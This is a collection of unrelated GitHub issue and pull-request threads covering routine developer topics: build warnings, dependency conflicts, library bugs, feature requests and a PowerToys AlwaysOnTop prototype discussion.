Way to increase sensitivity

I'm using this for video redaction of body parts. Could you please add a way to increase sensitivity?

Hi - This feature already exists through the threshold argument, its default value is 0.5, if you decrease the threshold value you should increase sensitivity. It might behave erratically though, as there's only three different generators, get_mask_hsv, get_mask_rgb, and get_mask_ycrcb.
https://github.com/WillBrennan/SkinDetector/blob/master/scripts.py#L59

I changed threshold to 0.1 in the code as I couldn't figure out how to call process within Python script with argument for threshold. I used this video https://www.youtube.com/watch?v=3ClCvEvGzc8 and almost no skin was detected.

So looking at that video the entire video seems to have some weird saturation and isn't true color. This method depends on color thresholding and not upon feature recognition. Perhaps trying something like converting to YCrCB pixel format, applying cv2.equaliseHistogram to the Y Channel, then convert back to RGB might get the video closer to true color?

Thank you for helping me yesterday. I was able to get pretty good results with it https://www.youtube.com/watch?v=egB54SZVFpg

Nice! If you're trying to blur out just faces it might be worth looking at the link below. Can't be used for commercial purposes though.
http://docs.opencv.org/master/d7/d8b/tutorial_py_face_detection.html#gsc.tab=0

I found face detection and manual object tracking failed too much. For dashcam I use subtraction from a reference frame https://www.youtube.com/watch?v=LJNDTUKwT94 and for bodycam trying to use color range.

Can I just ask, what's this project for?

It's for
http://www.theguardian.com/us-news/2015/mar/09/seattle-police-posting-body-camera-footage-youtube-transparency
Trying to come up with a reliable blur all persons scheme for dash and body
cam videos so that Seattle Police can post that footage on Youtube.
On Thu, Mar 3, 2016 at 10:42 AM, WillBrennan<EMAIL_ADDRESS>wrote:

Can I just ask, what's this project for?
—
Reply to this email directly or view it on GitHub
https://github.com/WillBrennan/SkinDetector/issues/2#issuecomment-191907369
.

Nice! Hope it helps, seems like a very worth while project. Feel free to make pull requests if you come up with any improvements, it'd be much appreciated.


LibGit2Sharp restore warning

after compile there is a warning about LibGit2Sharp that needs investigation (is this warning affect cross-platform feature?)
Warning NU1701: Package 'LibGit2Sharp 0.24.0' was restored using '.NETFramework,Version=v4.6.1' instead of the project target framework '.NETCoreApp,Version=v2.0'. This package may not be fully compatible with your project. (NU1701)

as mentioned here new version of LibGit2Sharp supports dotnet core so we update package reference and cross-platform feature is good to go again


[backbone] wait for Backbone network interface to be ready

This commit enhances otbr-agent to tolerant temporary Backbone interface unavailabity (especially when the device is just booted).

I think we don't need this PR anymore? @simonlingoogle

PR no longer needed


pacman fails due to dependency conflict

Here's a new error that just started showing up in our CI builds:
  :: Starting core system upgrade...
  warning: terminate other MSYS2 programs before proceeding
  resolving dependencies...
  looking for conflicting packages...
  error: failed to prepare transaction (could not satisfy dependencies)
  :: installing filesystem (2020.02-3) breaks dependency 'msys2-base' required by dash
  ##[error]The process 'C:\windows\system32\cmd.exe' failed with exit code 1

https://github.com/gambit/gambit/runs/800489774#step:3:183
Perhaps something changed recently in MSYS2 that caused this?

Hi @daviwil! I'm trying to understand why is this happening. It seems that this is an issue with caching. However, in our test suite, the cache is always saved in the first job, before running others. Hence, it should always be up to date with upstream...

Hello. I found a similar log here.
https://github.com/shirok/Gauche/runs/802663871#step:6:37
In this case, workflow file doesn't use setup-msys2
https://github.com/shirok/Gauche/blob/15f12ecffd29b38c6d63bb53a20299e1ceb0c547/.github/workflows/build.yml
So, another problem might be exist ...

I’ve found the issue to only happen when setting update to true. Did not seem cache related but could be wrong here.

@Hamayama, @selsta, you are correct. I tried pacman -Syu locally and also a freshly extracted tarball from https://github.com/msys2/msys2-installer/releases/tag/2020-06-02, and both of them work. Hence, a new release might be required. @lazka?


feat(lite): add lite get-schema command

Checklist

[ ] The PR conforms to DataHub's Contributing Guideline (particularly Commit Message Format)
[ ] Links to related issues (if applicable)
[ ] Tests for the changes have been added/updated (if applicable)
[ ] Docs related to the changes have been added/updated (if applicable). If a new feature has been added a Usage Guide has been added for the same.
[ ] For any breaking change/potential downtime/deprecation/big changes an entry has been made in Updating DataHub

Closing this for now since I don't have bandwidth to push it through.


using EsOutputFormat with dynamic resources and a strict mapping

I am trying to use the EsOutputFormat to write to a dynamic index and type by setting
conf.set("es.resource.write","{index_name}/{type}");

It seems that the bulk updates are formed correctly (targeting the correct index and type), but when the update is fired to the index I end up getting exceptions
org.elasticsearch.index.mapper.StrictDynamicMappingException: mapping set to strict, dynamic introduction of [index_name] within [action] is not allowed
        at org.elasticsearch.index.mapper.object.ObjectMapper.parseDynamicValue(ObjectMapper.java:721)
        at org.elasticsearch.index.mapper.object.ObjectMapper.serializeValue(ObjectMapper.java:711)
        at org.elasticsearch.index.mapper.object.ObjectMapper.parse(ObjectMapper.java:500)
        at org.elasticsearch.index.mapper.DocumentMapper.parse(DocumentMapper.java:542)
        at org.elasticsearch.index.mapper.DocumentMapper.parse(DocumentMapper.java:491)
        at org.elasticsearch.index.shard.service.InternalIndexShard.prepareIndex(InternalIndexShard.java:413)
        at org.elasticsearch.action.bulk.TransportShardBulkAction.shardIndexOperation(TransportShardBulkAction.java:435)
        at org.elasticsearch.action.bulk.TransportShardBulkAction.shardOperationOnPrimary(TransportShardBulkAction.java:150)
        at org.elasticsearch.action.support.replication.TransportShardReplicationOperationAction$AsyncShardOperationAction.performOnPrimary(TransportShardReplicationOperationAction.java:512)
        at org.elasticsearch.action.support.replication.TransportShardReplicationOperationAction$AsyncShardOperationAction$1.run(TransportShardReplicationOperationAction.java:419)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
        at java.lang.Thread.run(Thread.java:745)

It looks like what is happening is that the values I have injected into the JSON (ie: index_name and type) are not being removed from the JSON before being shipped to ES, so the strict mapping chokes on the unexpected values.
I took a look at the JsonFieldExtractors, but it doesn't look like I can extend it in any way myself, plus the AbstractBulkFactory only supports using JsonFieldExtractors so I suspect there is no way to write my own extractor which removes the value from the JSON.  Is there another way around this?

After looking into this more, I convinced myself there would be no easy way to accomplish this using EsOutputFormat.  Instead, I wrote a custom OutputFormat which uses a custom Writable that contains the dynamic field values as well as the document data and then wrote the bulk inserts to ES using the RestClient.  The end result was that I didnt need to inject values into the JSON to support dynamic index names, types, and ids


Fixes issue with the addGame route crashing on the server side when the user is not logged on

@stewartmccoy. This fixes issue #164.

tested and works as promised :)


Add element to the UI to Create

As a [Administrator]
I need [ to create new entries in the system using the UI, and have them checked to be in the correct format]
So that [so that our database can be populated]
Details and Assumptions

In requirement 4: implementing a UI with automated BDD testing
Add an element to the UI to enable admin to add customers to our database
A BDD test should go with this action
Run this using 'behave' and make sure the scenario is passing (green)

Acceptance Criteria
Given there's ability to create a customer
When you're on the internal web UI
Then you can add a customer to the database

all the code and files needed as in the features folder


The Language Dropdown Should Show a Flag Instead of "English"

Just a thought -- I'm not sure how many foreigners wouldn't be able to tell what it means, but I don't think a flag representing the US would be too high-contrast and it's pretty universally known as a "What language am I on" type thing.

I'm not sure about that. It's limiting the language to one country, when we try to be decentralized. What about UK, Canada or Australia?

That was my first thought for sure. Perhaps there's a better move -- default language in the region that the IP originates, or the slightest popup?
I did notice, depending on the browser size it has a little image of letters instead of writing English however. That was neat.

This is a discussione we already had some months ago. Flags should be avoided when dealing with translations. The GUI wallet is in the process of being refactored to raplace flags with a text-based page (see monero-project/monero-gui#1092)

Unless you can find a country-neutral flag for English ... no flag


vike.config.js

Description
For settings and hooks that are global.

Duplicate of https://github.com/vikejs/vike/issues/1341.


Jumbotron with outer container has no padding for narrow viewport

This issue is explained in
https://github.com/twbs/bootstrap/pull/16477
In summary, a fix to unify the jumbotron behavior accross narrow and wide viewports, which corrected the inner container case, broke the same behavior for the outer container case.
See http://jsbin.com/jalohelene/edit?html,output

+1

@rlindner81 not sure I understand the issue from the JSBin that you've provided

@kkirsche Did you read #16477 ? There is a lengthy discussion of the issue in there. In the JSBin you see that third (lowest) of the jumbotrons is missing any inner padding when it is rendered in a narrow viewport. That is the issue.

@rlindner81 I did. Sorry that I misunderstood the conversation...


TODO - Coding: Condition annotation verification

Needed Scripts: verify code to create condition code mapping

[x] Map raw SNOMED-CT to CUI and Semantic Types (UMLS API to retrieve both OR download MRCONSO and SEMTYPE files from UMLS)
[x] Code to get synonyms, labels, and defs from ontologies (write code to download data)
[x] Similarity code

Inputs: pandas data frame or results of SQL query
Action: maps clinical concepts to different open biomedical ontologies (OBOs)
Output: csv file with suggested mappings between condition codes and OBOs

Update mappings to be primarily to identifier

UPDATE: 2,000 randomly selected terms are being mapped by a resident with medical coding experience. The expected date when this will be complete is 04/29/2019.
This documentation was added to help map these terms.

[ ] Update all fracture terms and work with HPO team to expand fracture sub-types (HPO issue)

[x] The first iteration of condition code mapping update is (finally) complete! See stats below. 🎉

Unique diagnoses (n=29,128)

Mapping Type
Count

Automatically Mapped
6,285

Automatically Mapped - Ancestor
4,893

Manually Mapped
9,768

Manually Mapped - Synonym
3,613

Manually Mapped - Constructor
14,058

UnMapped
19,639

Final mapping can be accessed here.

[ ]  Update all fracture terms and work with HPO team to expand fracture sub-types (HPO issue)

UPDATE: Not moving forward with this at this time.


DNS Verification Failed - ORG-GH3s

Describe the bug
Wasn't sure whether to create a new issue or to bump #4086 but I am now encountering the same issue.
To Reproduce
Steps to reproduce the behavior:

Go to your organization's domain settings.
Add a new domain using DNS registration.
Create the _zitadel-challenge TXT record in DNS
Confirm with nslookup
Verify domain

Expected behavior
Domain verification should complete, but instead the error message Domain verification failed (ORG-GH3s) appears.
Tagging @fforootd and @livio-a as you guys were working on the initial issue. Do let me know if you guys would like to poke around in my org/instance and I'll get you the information and access.

Guess I'm going to close this ticket because it eventually resolved itself. I went to dinner and tried again when I came back and it verified successfully. Perhaps it had to do specifically with me basically "seizing" the domain as it was originally tied to an instance on zitadel.ch.

Just make sure I'm doing this correctly. I'm setting the name to _zitadel-challenge and the content to the DNS token, correct?

Nevermind! It definitely takes time, maybe 15-20 minutes, to propagate.

Nevermind! It definitely takes time, maybe 15-20 minutes, to propagate.

Yes, depending on your DNS server settings it can take some time to validate.


Push to array data signal

Beginner question, awesome library, thanks!   If I have a DataSignal<T[]> and I want to cause it's dependent computations to trigger/change, I assume I have to do the following:
const arr = dataSignal()
arr.push(newValue)
dataSignal(arr)

Is there another or better way to do it?

https://github.com/adamhaile/S-array


Fallback implementations of sigaddset & sigemptyset

For certain android systems that are missing them.

Unfortunately, this PR does not help. I get the same linking error as in #118 (I double-checked that if I switch to my Hocuri:patch-1 branch from #121 instead of android-hack, it links fine again)

@Hocuri Can you check this new version? It doesn't use the linker dark magic like the previous one, but at least tries to do the same thing as the missing functions.

Codecov Report

Merging #123 (6f32263) into master (49e45c0) will decrease coverage by 0.27%.
The diff coverage is 0.00%.

@@            Coverage Diff             @@
##           master     #123      +/-   ##
==========================================
- Coverage   70.17%   69.89%   -0.28%
==========================================
  Files          16       16
  Lines         761      764       +3
  Branches      121      122       +1
==========================================
  Hits          534      534
- Misses        131      134       +3
  Partials       96       96

Impacted Files
Coverage Δ

src/low_level/signal_details.rs
17.50% <0.00%> (-1.42%)
:arrow_down:

Yes, it works now, thanks a lot :tada::heart::heart::heart:!

Note though that I can't actually test anything, just see that it compiles and links fine.

That's better than me… so, let's hope this is working. If not, I guess there'll be another bug report soon :shrug:


Significant model stability improvements, plotting updates, and other changes

This PR contains some significant changes and some minor changes.
Major changes

Model stability is significantly enhanced. Previously, there were cases where SPIDER would crash due to non-convergence when the fluxes are small and/or the time step was large. This has been resolved by using a form of step-rejection. To summarise this method: within spider.py, the SPIDER subprocess is now called via a wrapper function _try_spider() which attempts to run the interior model. If SPIDER fails, PROTEUS will detect this (instead of just crashing) and will attempt to run SPIDER again with an tolerance and step-size. This is repeated up to 7 times, re-adjusting the tolerances and step each time. Closes #61.
Improvements to batch execution via tools/GridPROTEUS.py. The model can now be reliably run for a grid of parameters, with the status of each grid point being tracked by a 'status file' that is updated within each output folder. The status of a grid can be analysed with tools/GridSummarise.py.
A new test for model convergence when the planet enters into a steady state. This occurs when global radiative equilibrium is reached (the so-called ECRS from Salvador+23), but the MO hasn't solidified. The two criteria for this are: that the outgoing flux (F_atm) is small, and that the global melt fraction (phi_global) is unchanging in time.
PROTEUS now uses the most up-to-date version of AEOLUS, which itself has undergone some changes. Notably, in fixing a bug in the calculation of gas MMW from the volatile VMRs.

Minor changes

Re-wrote cpl_global.py to be much more efficient in terms of file I/O, which comes with a significant performance benefit as the simulations progress, potentially saving days of CPU time. Closes #65.
The model time-step is now capped when the net fluxes are small, as large time-steps run the risk of attaining an (unphysically) negative upward net flux rather than asymptotically tending to zero. This limits performance in some cases, but is mostly mitigated by the new convergence criteria outlined above. This is something to work on in the future.
Re-formulated the colour palette to be accessible for colour-blind people and more consistent across plots.
Some new plot types which enable interesting analysis (I am particularly proud of cpl_interior_cmesh.py). Removed some old plotting scripts which are redundant and/or unsupported.
Documentation updated with appropriate installation instructions and the new configuration options.
In theory this update to PROTEUS makes it compatible with the 'recent' AGNI changes, but that model will also be seeing some significant changes in the future, so this is now less important.
New notebooks and tools within tools/ for processing the model outputs and debugging the code.
Updated example in tests/ for an Earth-like case with an initial 100 bar pure-steam atmosphere.

A note on performance...
The model runtime varies significantly depending on the parameters you choose. For reference, the example case in tests/ took 6.39 hours to complete on an Intel Xeon 6240R CPU. In my tests, the worst-performing case took 29 hours to complete since it evolved for several 100 Myr before converging.


Sort on repository attributes, date first and last mentioned on HN

From the comment on HN: it would be nice to be able to sort on

[ ] date first mentioned on HN
[ ] date last mentioned on HN
[ ] number of links pointing to
[ ] number of stars on github
[ ] language

Now that #9 has been merged this is a lot more possible. @mshenfield @iankronquist either of you want to take a stab at this? If neither of you will I'll probably work on it this coming weekend, but I don't really have time this week.

I've taken a look at this. There are lots of options, but none of them quite fit. I would like to pull in a dependency which does this which is:

Available on NPM
Does not pull in a giant framework we don't otherwise use

Here are bunch of solutions which don't meet those criteria:

A Jquery plugin but I don't want to bring in all of jquery for some simple functionality
An angular plugin see above
A custom element which slurps csv data, not json
A random file from the interwebs
An plugin for some framework I've never heard of
There are redundant implementations for this simple feature for every framework out there.

Good grief! This isn't that hard. Maybe we should write our own.

Found two I think fit the criteria: List.js a popular general purpose library for sorting HTML tables/lists, and tablesort less popular but more specific to tables. Both vanilla Javascript.


support the IDNA domains, make some of jehiah's tests pass

(should be used together with the patched urlesc (see PR for urlesc as well))

Hello Dmitry,
Thanks for taking a shot at that long-standing TODO! I don't know much about IDNA domains and how it should work, but instinctively, I feel like the tests are backwards - shouldn't the normalization take a Unicode domain and normalize it to ASCII format of IDNA?
Also, should the unicode format be normalized first (https://blog.golang.org/normalization)? Does that matter for IDNA domains, or are two different-but-canonically-identical Unicode domains treated as 2 separate domains?
If you know how that works or are willing to dig into this a bit more and can point me to relevant docs, I'd appreciate it. I'd love to get that merged and tick that todo box :)
Thanks,
Martin

Looks like this unicode-canonicalization is handled by the "nameprep" process of IDNA: https://en.wikipedia.org/wiki/Nameprep
However, the golang.org/x/net/idna package does not seem to do that canonicalization part, while the userspace github.com/DanielOaks/go-idn does: https://play.golang.org/p/zS-UR4WhIx (can't run it in the playground, though).
I'd prefer a dep on a golang.org/x package, especially since the userspace one has that big warning about not being ready, maybe the nameprep/stringprep part is implemented elsewhere, or we need to do it by hand via the go.text/unicode/norm package (which is a shame, I'd expect the idna package to do the whole algorithm, not just part of it, but again, I know very little about IDNA).

This PR should probably wait for this Go issue to be resolved, to see how the stdlib handles (or not) IDNA: https://github.com/golang/go/issues/13835

Hello Martin,
First of all, I think that the unicode characters are much better for the normalized form since they are readable. I prefer to use them instead of ASCII.
Talking about the unicode normalization, although Nameprep is something from obsolete RFCs (https://tools.ietf.org/html/rfc3491 is obsoleted by https://tools.ietf.org/html/rfc5891), we have to ensure that our unicode is in NFC format and in lowercase to disambiguate. I think we should not bother about prohibited characters because the URL that contains them is incorrect (https://tools.ietf.org/html/rfc5894#section-4.1).
I found that we can normalize unicode strings using https://godoc.org/golang.org/x/text/secure/precis

It would be great if we could add support for IDNA into Purell right now and not wait until February 2017.

Btw, I see that current IDNA implementation already does folding to lowercase.

Thanks a lot for your input and links. Good to know that x/net/idna implements the latest on IDNA and that stringprep/nameprep is obsoleted. The PRECIS normalization seems to be just what we need, indeed.

First of all, I think that the unicode characters are much better for the normalized form since they are readable. I prefer to use them instead of ASCII.

That's my only (remaining) concern right now and the reason why I mentioned the pending Go issue. Purell is not about readability, but about normalization, and right now it seems the Go stdlib doesn't support a Unicode IDN, so if we use the Unicode format (even if it's normalized to NFC), the result of applying purell to an URL is a URL that you cannot fetch using the http client.
Normalizing to ascii (after having normalized the Unicode format using NFC) would be guaranteed to be usable as long as the URL is valid.

In fact, I think that regardless of what the stdlib ends up doing with IDNA, purell should normalize to ascii. When you think about it, the unicode version is not even a valid URL, it's just a UI thing for end users. I'd like to hear arguments, if there are any, for Unicode (besides readability).
And we should probably handle the case where the URL is already in punycode, but not for an NFC-normalized domain. So we should decode to Unicode, normalize, and re-encode in this case (unless the NFC is not a hard requirement of the spec? it seems to be but I just took a quick look).

I have no arguments for Unicode besides readability. I think that normalizing to ASCII is good and solves the problem very well.

According to the https://tools.ietf.org/html/rfc5891#section-4.1 "By the time a string enters the IDNA registration process as  described in this specification, it MUST be in Unicode and in Normalization Form C". That's why there is no need in Unicode-normalization of the names converted from Punycode.

@PuerkitoBio thanks

@PuerkitoBio I think we can remove a line with 'mv' from '.travis.yml' now


problem with hooks

hello
my problem is complex but describe in simple
see code in myadapter
protected function saved(Test $test)
{
$test2= new Test2();
$test2->name = "test";
$test2->save();
die("stop please");
}
why $test2 not saved in database?

Hi! The request is executed within a database transaction, so if you die it won't be committed to the database.
Otherwise, you'll need to debug this within your own application - there's far too little in the above for me to debug it for you... sorry!

thank you for your anser,
just tell me where transaction will done ?so I want run function after data saved

Transactions are handled by middleware.

I want run function after all finished and data updated.How I can?

actually in this package transactions are run in the JSON API controller. I'm planning to move them to middleware in the next major version as the controller implementation isn't nice!
But yeah, for the moment take a look at this package's Http\Controllers\JsonApiController::transaction() method.

Closing this as I think the question has been answered. Please re-open with more specific info if you are still having problems.


WIP - Code component

  Our Code component is based on react-syntax-highlighter:
  https://github.com/react-syntax-highlighter/react-syntax-highlighter#readme
  * react-syntax-highlighter itself is based on either one of these two popular js highlighters: Prism.js, highlightjs.org.
  * We're using the light version of the Prism backend.
  * Only a select number of languages declared above are supported to keep it light.
  * Using other languages and themes is possible with .language and .theme props. See storybook for an example.

verify

@utkukaratas AFAICS, the component only highlights a static string, i.e. we cannot use it as an input to edit code. We need that functionality for Scripting in MC. Am I missing something?

In fact, I know for sure that we need the code editor, and I am not sure if we need to display readonly code in MC at all.

We do have a few places where we want to show readonly XML or YAML.

closing this; there'll be a codemirror based version in the works...


Add markdown link checker to avoid broken links

Example workflow from hazelcast-nodejs-client: https://github.com/hazelcast/hazelcast-nodejs-client/blob/master/.github/workflows/markdown_link_checker.yml

the given example in the link ,  we have to copy same ?

Yeap, that will work I think.


StoreWriteBehindResourceDefinition.Attribute-s are missing defaults v…

…alues
cc @pferraro

Linux with security manager Build 2193 is now running using a merge of 766a58d8c769c03061feba320b91f88d97b8e279

Windows Build 2378 is now running using a merge of 766a58d8c769c03061feba320b91f88d97b8e279

Linux Build 7330 is now running using a merge of 766a58d8c769c03061feba320b91f88d97b8e279

Linux with security manager Build 2193 outcome was SUCCESS using a merge of 766a58d8c769c03061feba320b91f88d97b8e279
Summary: Tests passed: 895, ignored: 288 Build time: 0:07:02

Linux Build 7330 outcome was FAILURE using a merge of 766a58d8c769c03061feba320b91f88d97b8e279
Summary: Tests failed: 1 (1 new), passed: 3081, ignored: 368 Build time: 0:47:04
Build problems:
Failed tests detected
Failed tests
org.jboss.as.test.integration.ejb.mdb.ejb2x.MDB20TopicTestCase.testEjb20TopicMDBs: <no details avaliable>

Windows Build 2378 outcome was SUCCESS using a merge of 766a58d8c769c03061feba320b91f88d97b8e279
Summary: Tests passed: 3081, ignored: 368, muted: 1 Build time: 0:49:42

Good to merge.

Just rebased.

Linux Build 7334 is now running using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a

Linux with security manager Build 2197 is now running using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a

Windows Build 2382 is now running using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a

Linux with security manager Build 2197 outcome was SUCCESS using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a
Summary: Tests passed: 895, ignored: 288 Build time: 0:07:07

Linux Build 7334 outcome was FAILURE using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a
Summary: Tests passed: 3052, ignored: 368; exit code 1 (new) Build time: 0:48:21
Build problems:
Process exited with code 1

Windows Build 2382 outcome was FAILURE using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a
Summary: Tests passed: 3051, ignored: 368, muted: 1; exit code 1 (new) Build time: 0:48:39
Build problems:
Process exited with code 1

#7903 fixes the mixed domain test problem

retest this please

Linux Build 7337 is now running using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a

Windows Build 2385 is now running using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a

Linux with security manager Build 2200 is now running using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a

Linux with security manager Build 2200 outcome was SUCCESS using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a
Summary: Tests passed: 889, ignored: 288 Build time: 0:06:42

Linux Build 7337 outcome was FAILURE using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a
Summary: Tests failed: 2 (2 new), passed: 3077, ignored: 368 Build time: 0:53:12
Build problems:
Failed tests detected
Failed tests
org.jboss.as.test.clustering.cluster.sso.ClusteredSingleSignOnTestCase(SYNC-tcp).testFormAuthSingleSignOn: <no details avaliable>

org.jboss.as.test.clustering.cluster.sso.ClusteredSingleSignOnTestCase(SYNC-tcp).testNoAuthSingleSignOn: <no details avaliable>

Windows Build 2385 outcome was SUCCESS using a merge of 19c3d8fc8721491f4cbc1898e410d101d3ad679a
Summary: Tests passed: 3078, ignored: 368, muted: 1 Build time: 0:55:44


Add a superoptimizer hook

This creates a quick-and-easy way to plug in the superoptimization work. The flag will eventually find its way into the Python side, but for now this calls a compiler/superoptimize.sh script that could serve as a starting point.

great catch!

great catch!


README update request

Need to specify the required tags ("application", "service"). These 2 tags are required in order for users to use span-search qb in Wavefront
If we can include the instruction about span extract/inject in the README, that will be great. Or the other way is to provide a URL link to the opentracing-sdk doc?!

Fixed.


Is the Android's dot position too high to be modified

Is the Android's dot position too high to be modified

Is your question related to #668 ?


yearling_proportion vs sex ratio

from John
One question—I see now there is a proportion_yearlings  in bboutools recruitment.   I am unsure why this is needed compared to the sex_ratio used in bbouretro the sex_ratio is sex_ratio at birth but it also controls the proportion yearlings that are assumed to be female.  This was put in since Troy thinks that sex_ratio may not be 0.5 sometimes.   I see that sex_ratio has been removed from bboutools and replaced with yearling_female_proportion.   Anyway—it would be good to document this difference to not cause confusion when people are using the 2 packages.

I think switching to bbouretro terminology is more clear
sex_ratio

document that this also affects yearling proportion

done


AttributeError: 'NoneType' object has no attribute 'ResNet101'

when i load pretrained model ,such as ResNet101, it show me AttributeError: 'NoneType' object has no attribute 'ResNet101'.
then i try the model,such as ResNet50V2, it also show me AttributeError: 'NoneType' object has no attribute 'ResNet50V2
how to fix it? thanks.
keras: 2.2.4

@alyato Can you try
import keras
import keras_applications
keras_applications.set_keras_submodules(
    backend=keras.backend,
    layers=keras.layers,
    models=keras.models,
    utils=keras.utils
)

model= keras_applications.resnet.ResNet101(include_top=False,weights='imagenet')

Thanks!

Hi,@jvishnuvardhan I have done it but it doesn't work.
it show me AttributeError: 'module' object has no attribute 'resnet'
I can't check the keras_applications module.
When i change the keras_applications.resnet.ResNet101 to keras.applications.resnet.ResNet101 ,
it also show AttributeError: 'NoneType' object has no attribute 'ResNet101'
Thanks again.

@alyato I understand that there is no module under keras.applications.resnet.ResNet101 and hence it is showing attribute error. But, it is strange to see attribute error" when you used keras_applications.resnet.ResNet101 .
I created a GitHub gist. Can you open and run it. I am not sure whether there is any issue in the installation of keras and related modules. Thanks!

@alyato Can you mentioned what backend you are using. Could you fill the issue template mentioned below.
Please fill the issue template here. Could you update them if they are relevant in your case, or leave them as N/A? Thanks!

@jvishnuvardhan thanks.
the tensorflow is 1.4.0
the keras is 2.2.4
but i don't install the keras by pip,and i use python setup.py install
i check the gist you gived,and did it again.

@jvishnuvardhan
I install keras bypip install keras==2.2.4,and do it again. It show the same error.
AttributeError: 'module' object has no attribute 'resnet'
Is there some wrong about tensorflow? lower version?
thanks.

@alyato
I solved this problem by updating keras-application package to latest version 1.0.7
pip install keras-applications==1.0.7

@alyato Please let me know whether @icdee suggestion worked for you. I think it should work with that version of keras-applications. Thanks!

@icdee @jvishnuvardhan
i can't upgrade the latest version of the keras-applications when i do pip install keras-applications==1.0.7
It also the 1.0.6

So what can i do next? thanks.

@alyato Run your code and check whether the issue persists. Thanks!

Closing due to lack of recent activity. Please update the issue when new information becomes available, and we will open a new issue. Thanks!


[AlwaysOnTop] Proof of concept

Summary of the Pull Request
What is this about:
https://user-images.githubusercontent.com/8949536/147460521-61caf630-4d61-46da-904e-f07116708e29.mp4

Settings:

[x] Game mode check on/off
[x] Play sound on/off
[ ] Choose custom sound(s) to play
[x] Change activation shortcut
[x] Exclude apps list (Maybe there are apps that make problems when OnTop or while setting it's/other windows on top.)
[x] Frame color
[x] Frame thickness
[x] Enable/disable frame on topmost windows

Quality Checklist

[x] Linked issue: #13
[ ] Communication: I've discussed this with core contributors in the issue.
[ ] Tests: Added/updated and all pass
[x] Installer: Added/updated and all pass
[x] Localization: All end user facing strings can be localized
[ ] Docs: Added/ updated
[ ] Binaries: Any new files are added to WXS / YML

[ ] No new binaries
[ ] YML for signing for new binaries
[ ] WXS for installer for new binaries

Contributor License Agreement (CLA)
A CLA must be signed. If not, go over here and sign the CLA.

Wondering if ctrl+spcae may conflict with other functions or applications. (Even IMEs)

Wondering if ctrl+spcae may conflict with other functions or applications. (Even IMEs, for example Microsoft Bopomofo, the Chinese IME)

This standalone project is just for testing purposes. When it becomes a part of PT it would probably be customizable.

Want to stress like @seraphimaZ said this is just a POC.  I do agreed Ctrl-Space isn't the correct shortcut but this is just a POC.
Want to kick the engine and see if a shortcut is correct for tweaking on / off.  I think @SeraphimaZ idea here was really clever as it solved a lot of UX issues with a modern taskbar that the original power menu from Win95/xp didn't have to deal with.
Ctrl-Space is a well used shortcut for VS as well for .NET at least for auto-complete.

Tested it and it works very good!

Thoughts: win-[shift or ctrl]-T for activation. Should verify one isn’t in use
ctrl feels natural from a command stance but I think shift will feel more natrial
T for top :)

Feedback:

Love it, love the keystroke idea
I should be able to have multiple windows have AOT enabled, not just one.

Right now i can have Task manager and Terminal AOT plus our AOT toggle.

If AOT goes down and restarts, it lost track of what the state of the window is so you have to redo AOT on to just do it again to toggle it off window off.  Can we query a window and then do the toggle?
While i feel we should have a way to visualize AOT, i don't think it is a must requirement.

Terminal and Task manager do not visualize this, TM does have the check however in their menu.

Part of me wants to have a system sound play when we toggle else it is silent.

Small thoughts:

What about a visual button in the window title bar to toggle AOT with mouse and visualize the state of a window?

@htcfreek messing with the titlebar of other apps is hard.  like, extremely hard.  More so if they do a totally custom solution.  Why in like Win11 the snap flyout doesn't work on some apps.

Additional feedback:

We should also have the game mode option here like we do with other tools

Additional feedback:

We should also have the game mode option here like we do with other tools

Can you explain why? I don't see why this is necessary?

Accidental trigger, window mode, … maybe they want task manager on top
just a thought for us to consider

Tested, works great :)!
Agree with @crutkas that having multiple apps always on top would be really useful.
I'm also wondering if there's a way to hook into an app windows jumplist (right click an app in the taskbar, where you'll e.g. find "pin to taskbar" button) and add a button there.

I'm also wondering if there's a way to hook into an app windows jumplist (right click an app in the taskbar, where you'll e.g. find "pin to taskbar" button) and add a button there.

I wasn't able to find an API which would do that for us. But you brought me the idea that we could do an indicator in the windows menu.
References: https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getsystemmenu
A project which does exactly what I try to suggest here:
https://github.com/AlexanderPro/SmartSystemMenu

I think it is worth considering making this feature part of FancyZones, and not a separate PowerToy.
Doing so would make it more natural to implement #919.

I think the two can be powered by same underlying API / class but they each have their uses.

Added a standard windows sound on pinning/unpinning, but we may find a better one I suppose.
Game mode check.
Restore state on restart.

Regarding multiple windows, it's possible now to set on top any amount of them. By default, all topmost windows won't keep order. I tried to keep order, but they're flickering, so I'll try to find a better way of doing that.
https://user-images.githubusercontent.com/8949536/142169054-45e7b867-636d-4eed-b4a7-3361465bdc0a.mp4

I think the two can be powered by same underlying API / class but they each have their uses.

It would probably allow for better integration. Here are some issues that may arise:

What happens when you zone a topmost window to a regular zone?
What happens when you zone a topmost window to a topmost zone?
What happens when a quick apply of a layout moves a window out of a topmost zone, but it was a topmost window before zoning it?
Which of the two takes precedence, being a topmost window or being zoned to a topmost zone?

I think the two can be powered by same underlying API / class but they each have their uses.

It would probably allow for better integration. Here are some issues that may arise:

What happens when you zone a topmost window to a regular zone?
What happens when you zone a topmost window to a topmost zone?
What happens when a quick apply of a layout moves a window out of a topmost zone, but it was a topmost window before zoning it?
Which of the two takes precedence, being a topmost window or being zoned to a topmost zone?

The topmost zone would just mean that the window placed there becomes topmost, I suppose.
We can set a window property the same way as we stamp the window in the FZ to know which zone it belongs to. So we add a property with a flag if it was pinned to the top from FZ or AOT and voile, we don't have conflicts.

So the flag would tell us if the window was topmost before zoning it (or making it topmost)? Or will the two know each other's flags?

So the flag would tell us if the window was topmost before zoning it (or making it topmost)? Or will the two know each other's flags?

Each module will compare the value with its own expected value. If they're not equal, so the module won't do anything with it. A window can be set topmost not only by PT modules, so we'll take this into account too.

Sounds: was playing with system sounds, kinda dig the "Speech off" and "speech on" wav files.  Audable we then get cued for on / off states.
